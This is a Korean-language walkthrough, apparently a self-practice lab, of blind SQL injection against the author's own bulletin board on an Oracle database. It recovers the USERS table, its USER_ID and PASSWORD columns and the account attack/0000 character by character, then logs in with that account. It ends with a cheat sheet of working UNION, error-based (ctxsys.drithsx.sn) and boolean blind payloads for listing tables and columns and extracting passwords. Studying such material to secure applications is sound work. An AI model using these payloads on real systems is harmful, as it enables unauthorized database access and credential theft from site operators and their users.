구현한 게시판의 SQL 인젝션 취약점을 찾아보자!
게시물 id 파라미터에 참을 반환하는 쿼리와 거짓을 반환하는 쿼리를 질의한 결과, SQL 인젝션 취약점이 존재한다.
취약점 존재 여부를 확인했으니 테이블 개수를 파악하겠다.
테이블 개수가 5개 미만이다.
테이블 개수는 3개이다. 개수를 확인했으니 테이블 이름을 파악한다.
첫번째 테이블의 첫 글자는 아스키 코드 100 미만이다.
테이블 첫 글자 아스키 코드는 85이다. 알파벳 U
이다.
테이블 두번째 글자를 찾아야 한다. 두번째 글자는 아스키 코드 75보다 크다.
두번째 글자는 아스키 코드 85보다 작다.
두번째 글자 아스키 코드는 83이다. 알파벳 S
이다.
세번째 글자 아스키 코드는 69이다. 알파벳 E
이다.
네번째 글자 아스키 코드는 82이다. 알파벳 R
이다.
마지막 글자 아스키 코드는 83이다. 알파벳 S
이다.
테이블 이름은 USERS
이다. 이제 컬럼 이름을 찾아야 한다.
첫번째 컬럼 이름의 첫 글자는 아스키 코드 75보다 크다.
컬럼 이름 첫 글자 아스키 코드는 85이다. 알파벳 U
이다.
컬럼 이름 두번째 글자 아스키 코드는 83이다. 알파벳 S
이다.
컬럼 이름 세번째 글자 아스키 코드는 69이다. 알파벳 E
이다.
컬럼 이름 네번째 글자 아스키 코드는 82이다. 알파벳 R
이다.
컬럼 이름 다섯번째 글자 아스키 코드는 95이다. 특수문자 _
이다.
컬럼 이름 여섯번째 글자 아스키 코드는 73이다. 알파벳 I
이다.
컬럼 이름 마지막 글자 아스키 코드는 68이다. 알파벳 D
이다.
첫번째 컬럼 이름은 USER_ID
이다.
인젝션 결과, 두번째 컬럼 이름은 name
이다. 찾는 컬럼은 비밀번호 컬럼이므로 name
컬럼 탐색 과정은 생략한다.
세번째 컬럼 첫번째 글자 아스키 코드는 75보다 크다.
85 보다는 작다.
세번째 컬럼의 첫번째 글자 아스키 코드는 80이다. 알파벳 P
이다.
두번째 글자 아스키 코드는 65, 즉 알파벳 A
이다.
참, 거짓 응답 결과를 여러 번 반복한 결과 세번째 컬럼 이름은 PASSWORD
이다.
현재까지 추출한 테이블과 컬럼 이름은 아래와 같다.
테이블 : USERS
첫번째 컬럼 : USER_ID
세번째 컬럼 : PASSWORD
이제 데이터를 추출한다.
USER_ID의 첫번째 데이터 아스키 코드는 97보다 크거나 작지 않다.
따라서 첫번째 데이터 아스키 코드는 97이다. 알파벳 a
이다.
두번째 아스키 코드는 116, 알파벳 t
이다.
참, 거짓 응답 결과를 여러 번 반복한 결과 아이디는 attack
이다.
비밀번호를 추출해야 한다. 비밀번호는 특수문자를 포함하고 있을 수 있어 스페이스를 의미하는 아스키 코드 32부터 ~을 의미하는 126 사이에서 찾아야 한다.
비밀번호 첫번째 글자는 아스키 코드 48, 숫자 0
이다.
참, 거짓 응답 결과를 여러 번 반복한 결과 비밀번호는 0000
이다.
추출한 아이디는 attack
, 비밀번호는 0000
이다.
과연 추출한 계정으로 로그인이 될까?
로그인에 성공했다! 오라클 DB를 사용하는 환경에서 Blind SQL 인젝션으로 계정을 탈취했다.
# 컬럼 개수 파악
' order by 1--
# 데이터 형 조회
NULL 형 = ' union select null,null,null from dual --
숫자형 = ' union select null,null,123 from dual --
문자형 = ' union select null,null,'123' from dual --
날짜형 = ' union select null,null, sysdate from dual --
# 테이블 명 조회
' union select null,table_name,null,null from user_tables --
# 컬럼 명 조회
' union select null,column_name,null,null from all_tab_columns where table_name='USERS' --
# 데이터 조회
' union select null,USER_ID,null,PASSWORD from USERS --
# 테이블 개수 확인
a%' and ctxsys.drithsx.sn(user,(select count(table_name) from user_tables))=1 and '%1%'='%1
# 테이블 명 조회
a%' and ctxsys.drithsx.sn(user,(select table_name from (select table_name, rownum as rnum from user_tables) where rnum=1))=1 and '%1%'='%1
# 테이블 컬럼 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(column_name) from all_tab_columns where table_name='USERS'))=1 and '%1%'='%1
# 컬럼 명 조회
a%' and ctxsys.drithsx.sn(user,(select column_name from (select column_name,rownum as rnum from all_tab_columns where table_name='USERS') where rnum=1))= 1 and '%1%'='%1
# 데이터 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(USER_ID) from USERS))=1 and '%1%'='%1
# 데이터 조회
a%' and ctxsys.drithsx.sn(user,(select USER_ID from (select USER_ID, rownum as rnum from USERS) where rnum=1))=1 and '%1%'='%1
# 테이블 개수 확인
' and (select count(table_name) from user_tables) < 5 --
# 테이블 명 조회
' and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1)) > 97 --
# 컬럼 개수 조회
' and (select count(column_name) from all_tab_columns where table_name='USERS')=5 --
# 컬럼명 조회
' and ascii(substr((select column_name from (select rownum as rnum, column_name from all_tab_columns where table_name ='USERS') where rnum=1),1,1)) < 90 --
# 데이터 수 조회
' and (select count(user_ID) from USERS) < 10 --
# 데이터 조회
' and ascii(substr((select user_ID from (select rownum as rnum, userID from USERS) where rnum=1),1,1)) < 100 --
# n번째 행 데이터를 조회하려면 rnum 값을 변경하고, n번째 글자를 조회하려면 n 값을 변경한다.
'and ascii(substr((select PASSWORD from(select rownum as rnum,PASSWORD from USERS) where rnum=2),n,1)) > 97 --